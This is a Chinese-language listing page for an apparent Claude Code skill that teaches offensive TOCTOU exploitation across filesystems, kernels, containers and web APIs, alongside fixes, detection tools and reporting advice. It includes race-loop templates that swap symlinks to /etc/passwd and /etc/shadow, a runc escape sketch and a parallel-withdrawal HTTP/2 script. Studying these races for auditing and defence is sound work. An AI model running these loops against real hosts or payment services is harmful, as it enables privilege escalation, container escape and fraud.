mcpField
O
offensive-toctou

offensive-toctou

github.com/snailsploit安全9.7k176 次安装2 周前更新
代码仓库

关于 offensive-toctou

面向安全研究人员和代码审计者的 TOCTOU 攻击技巧指南,涵盖文件系统、内核、容器及 Web/API 场景,并介绍竞态窗口扩展、检测和报告方法。

主要功能

  1. 01识别检查与使用之间的竞态
  2. 02文件系统与 setuid 攻击方法
  3. 03内核双重取值与 procfs 竞态
  4. 04容器逃逸及 Web/API 竞态案例
  5. 05窗口扩展、检测与报告指导

适用场景

  1. 01审计重复解析用户控制路径的程序
  2. 02测试配额、授权或长任务中的竞态
  3. 03分析容器运行时的路径与文件描述符风险

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/snailsploit/claude-red --skill offensive-toctou

安装后在 Claude Code 中输入/offensive-toctou确认已加载。

详细介绍

TOCTOU — 检查时 / 使用时漏洞利用

凡是代码检查某项属性(文件所有者、路径目标、令牌有效性、余额),然后就假定该属性仍然成立并据此采取行动的地方,都可能存在 TOCTOU 漏洞。检查与使用之间存在一个窗口——你的任务是扩大这个窗口,并替换底层对象。

快速工作流

  1. 找出检查(系统调用、函数、验证步骤)和使用(特权操作)
  2. 确认检查和使用操作的不是同一个内核对象(FD、inode、原子快照)
  3. 构建一个能在检查与使用之间替换对象的原语(符号链接、挂载、mv、并行请求)
  4. 扩大窗口,使用 FUSE、慢速文件系统、调度器技巧或单包 HTTP/2
  5. 密集循环运行,并确认使用后的状态对应于被替换的目标

核心模式

// Vulnerable
if (access(path, W_OK) == 0) {     // check  — resolves "path" now
    fd = open(path, O_WRONLY);     // use    — re-resolves "path" later
    write(fd, attacker_data, n);
}

在 access 和 open 之间,攻击者将 path 替换为指向 /etc/shadow 的符号链接。检查看到的是攻击者拥有的文件;使用时则以 root 身份打开 shadow。

修复方法始终是:操作内核对象,而不是路径。 使用 O_NOFOLLOW、通过 AT_SYMLINK_NOFOLLOW 调用 openat、对 FD 调用 fstat 等。


文件系统 TOCTOU

符号链接替换(经典方式)
# Setup target — privileged binary that writes to user-supplied path after access() check
victim --output /tmp/.attacker/output

# Race loop
while true; do
  ln -sf /etc/passwd /tmp/.attacker/output 2>/dev/null
  ln -sf /tmp/.attacker/legit /tmp/.attacker/output 2>/dev/null
done &

# Run victim repeatedly
while true; do victim --output /tmp/.attacker/output; done
renameat2(RENAME_EXCHANGE) — 原子单帧替换
syscall(SYS_renameat2, AT_FDCWD, "good", AT_FDCWD, "bad", RENAME_EXCHANGE);

RENAME_EXCHANGE 会原子地交换两个路径——结合通过 FUSE 暂停目录查找,这是 Linux ≥ 3.15 上近乎确定性的攻击原语。

目录替换(在两个预先准备好的目录树之间执行 mv)

当受害进程解析 parent/file 时,替换 parent 本身:

mv good_dir parent && mv evil_dir parent_was_good_dir
# If victim is mid-resolution of `parent/file`, dir cache may pin one side
绑定挂载 / 挂载命名空间替换(仅限 root 或在用户命名空间中)
unshare -mUr
mkdir /tmp/x /tmp/y
echo benign > /tmp/x/file
mount --bind /etc/shadow /tmp/y/file
# Then: while true; do mount --move /tmp/x /tmp/m; mount --move /tmp/y /tmp/m; done

在具有用户命名空间内 CAP_SYS_ADMIN 的容器化环境中,这是多个 runc/CVE 逃逸链的基础。


扩大窗口的原语

理论上,总能赢得竞态;但在实践中,你需要足够大的窗口来完成替换。

基于 FUSE 的慢速文件系统

挂载一个由你控制的 FUSE 文件系统。当受害进程执行 open 或 stat 时,让你的处理程序休眠:

# fusepy
class SlowFS(Operations):
    def getattr(self, path, fh=None):
        if path == '/trigger':
            time.sleep(5)   # stretch the check
        return os.lstat(self.root + path).__dict__

现在,受害进程中的检查调用会阻塞 5 秒——足以替换检查后的文件名。

Userfaultfd(内核级缺页)
// Register a userfault region; when the victim reads the user-controlled buffer,
// pause it in the page-fault handler, swap data, then resume.
ioctl(uffd, UFFDIO_REGISTER, &reg);

userfaultfd 可以在内核侧的 copy_from_user 读取过程中暂停它,从而实现双重取值攻击。Linux ≥ 5.11 要求设置 vm.unprivileged_userfaultfd=1(许多发行版默认关闭)。

冻结 Cgroup
mkdir /sys/fs/cgroup/race
echo $victim_pid > /sys/fs/cgroup/race/cgroup.procs
echo 1 > /sys/fs/cgroup/race/cgroup.freeze   # pause
# swap files
echo 0 > /sys/fs/cgroup/race/cgroup.freeze   # resume
绑定单个 CPU + sched_yield
cpu_set_t set; CPU_ZERO(&set); CPU_SET(0, &set);
sched_setaffinity(victim_pid, sizeof(set), &set);
// Race threads on same CPU — context switch is the only progress unit

内核双重取值

内核函数两次读取同一个用户空间位置;攻击者使用 userfaultfd 或另一个线程在两次读取之间修改该位置。

// Vulnerable kernel pattern
copy_from_user(&size, &user_arg->size, 4);   // first fetch
if (size > MAX) return -EINVAL;
copy_from_user(buf, user_arg->data, size);   // size re-fetched? Or from local? Check carefully.

工具:KFENCE、Bochspwn-Reloaded、DECAF——用于检测双重取值的模糊测试器和分析器。


/proc 和 procfs 竞态

/proc/pid/exe + ptrace

/proc/<pid>/exe 是一个魔法符号链接。如果特权二进制文件在 fork+exec 之后打开它,攻击者就能在 exec 竞态中让 exe 指向攻击者控制的慢速文件系统上的二进制文件。这是 CVE-2019-5736(runc)的基础。

// Sketch
fd = open("/proc/self/exe", O_RDONLY);  // by attacker, in container
// Then the host runc opens /proc/<pid>/exe to write — opens *attacker's* exe → host RCE
/proc/pid/mem

open("/proc/pid/mem") 后接 lseek+write,历史上曾可绕过写入保护。现代内核会在写入时检查 ptrace 凭据,但旧版内核或移除了这些检查的嵌入式内核中仍然存在此问题。

/proc/pid/cwd / fd / root

符号链接会在解引用时使用目标任务的命名空间进行解析。从同级容器跨命名空间解引用 /proc/pid/root/etc/shadow 是反复出现的一类漏洞。


Setuid 二进制文件 TOCTOU

// Vulnerable flow in classic SUID binary
if (!access(file, R_OK)) {       // check with real UID via access()
    fd = open(file, O_RDONLY);   // open with effective UID = root
    sendfile(stdout, fd, ...);
}

在 access 和 open 之间替换符号链接,会使该二进制文件为非特权用户读取只有 root 才能读取的文件。

审查 setuid/setgid 二进制文件时的经验法则: 系统调用跟踪中出现两次的每个路径都是候选目标。

strace -f -e openat,access,stat,lstat,readlink ./suid_binary 2>&1 | grep "$user_input"
# Multiple resolutions of the same user-controlled path = TOCTOU surface

通过 TOCTOU 逃逸容器

CVE-2019-5736 (runc) — 覆写 /proc/self/exe

当容器运行 docker exec 时,runc 会打开主机上的 /proc/self/exe。通过将容器内的二进制文件替换为指向 /proc/self/exe 的符号链接,主机上的 runc 就会覆写自身。

CVE-2024-21626 (runc "Leaky Vessels") — 工作目录文件描述符泄漏

指向主机文件系统的文件描述符可能会通过 WORKDIR /proc/self/fd/<n> 被继承——容器的首个进程持有主机文件描述符,在命名空间设置期间发生的竞争可使其操作主机路径。

挂载上的符号链接竞争

当运行时解析绑定挂载的源路径/目标路径(例如设置 tmpfs 时),攻击者会迅速将路径中的目录替换为指向 / 的符号链接。这种情况在 Kubernetes hostPath、Docker 卷和绕过 OpenShift SCC 的攻击中很常见。


Web/API TOCTOU

网关上的身份验证与授权分离
Gateway: validates JWT (signature, exp) → forwards to service
Service: trusts gateway's "X-User-Id" header

如果 JWT 在网关缓存与网关验证之间被撤销,或者网关缓存“有效”结果的时间过长,就会导致撤销后的访问。缓存键混淆(不同的网关节点)会扩大这个时间窗口。

长时间运行的操作跳过权限复查
# Vulnerable
def long_export(user, resource_id):
    check_access(user, resource_id)        # check
    data = stream_resource(resource_id)    # use — minutes long
    return data                            # access could have been revoked mid-stream

测试:在下载进行期间撤销访问权限;如果数据仍在传输,就说明缺少复查。

使用不同请求正文重用幂等键
POST /api/withdraw  Idempotency-Key: K1  { "amount": 1 }
POST /api/withdraw  Idempotency-Key: K1  { "amount": 1000 }   # Same key, different body

许多实现只按键而非按键和正文哈希进行索引 → 第二个请求会返回第一个请求的响应,同时仍处理第二次扣款。

单数据包多请求
HTTP/2: hold N requests' DATA frames, send all END_STREAM in one TCP segment.
Server schedules N handlers concurrently with sub-millisecond skew → reliable race wins.
Tool: Burp Repeater "Send group in parallel (single-packet)".

自 2023 年以来,这是 Web TOCTOU 的标准手法;旧式的 httpie ... & 并行方式已经过时。

限额/配额 TOCTOU
# Vulnerable
if user.balance >= amount:    # check
    user.balance -= amount    # use — non-atomic read-modify-write
    pay(user, amount)

并行发送 N 个请求,每个请求看到的都是扣减前的相同余额。修复方法:使用带约束的原子扣减(UPDATE ... WHERE balance >= amount)。


移动端/二进制测试手册

Android:Intent 重定向 TOCTOU

Activity 使用 getCallingPackage() 检查调用方软件包,然后通过 Intent 分发——在检查与分发之间,攻击者会替换底层 ContentProvider URI 的 authority 解析结果。

iOS:NSXPC 审计令牌混淆

每次处理 XPC 消息时,都应在开始时捕获 audit_token_t。如果服务只捕获一次并重复使用,攻击者就可以利用 PID 重用竞争来冒充他人。


检测与工具

工具层级用途
strace -e trace=file -fLinux 系统调用查找重复的路径解析
bpftrace / bcc内核大规模探测特定系统调用的参数
ThreadSanitizer (TSan)用户空间 C/C++编译时竞争检测
Helgrind / DRD用户空间Pthread 竞争检测
Bochspwn-Reloaded内核双重取值检测
syzkaller内核覆盖率引导的竞争模糊测试
Burp Suite(Repeater 单数据包)Web/HTTP并发请求竞争
racepwnWeb多线程与计时测试框架
Turbo IntruderWeb流水线并行请求
# Quick filesystem TOCTOU finder against a binary
strace -f -e trace=file ./target 2>&1 | \
  awk -F'"' '/access|stat|lstat|open|readlink/ {print $2}' | \
  sort | uniq -c | sort -rn | head
# Paths appearing N>1 times → TOCTOU candidates

竞争循环模板

文件系统(C)
#include <sys/syscall.h>
#include <linux/fs.h>
int main() {
    pid_t p = fork();
    if (!p) { for(;;) syscall(SYS_renameat2, -100,"a",-100,"b",RENAME_EXCHANGE); }
    for(;;) execve(victim, args, env);
}
Web(Python — 单数据包 HTTP/2)
# Use httpx or h2 directly; pyburp or turbo-intruder for production
import httpx, anyio
async def race():
    async with httpx.AsyncClient(http2=True) as c:
        async with anyio.create_task_group() as tg:
            for _ in range(30):
                tg.start_soon(c.post, "https://app/withdraw", json={"amount": 100})
anyio.run(race)

若要在 TLS 上获得实际的可靠性,建议使用 Burp 的单数据包功能——它会构造 HTTP/2 最后字节同步。


报告/严重性

TOCTOU 问题的严重性取决于:时间窗口大小(确定性还是概率性)、所需的相邻权限(本地用户/容器/经过身份验证的远程用户),以及使用后的原语(文件写入、绕过身份验证、资金)。一旦与扩大时间窗口的原语链式组合,“万分之一概率的竞争可获得 root 权限”与“确定性竞争可获得 root 权限”就是同一个问题。始终应展示:

  1. 最小复现程序
  2. 使用的时间窗口扩大方法
  3. 观察到的成功率
  4. 实现的利用后原语

关键参考资料

评论

支持 Markdown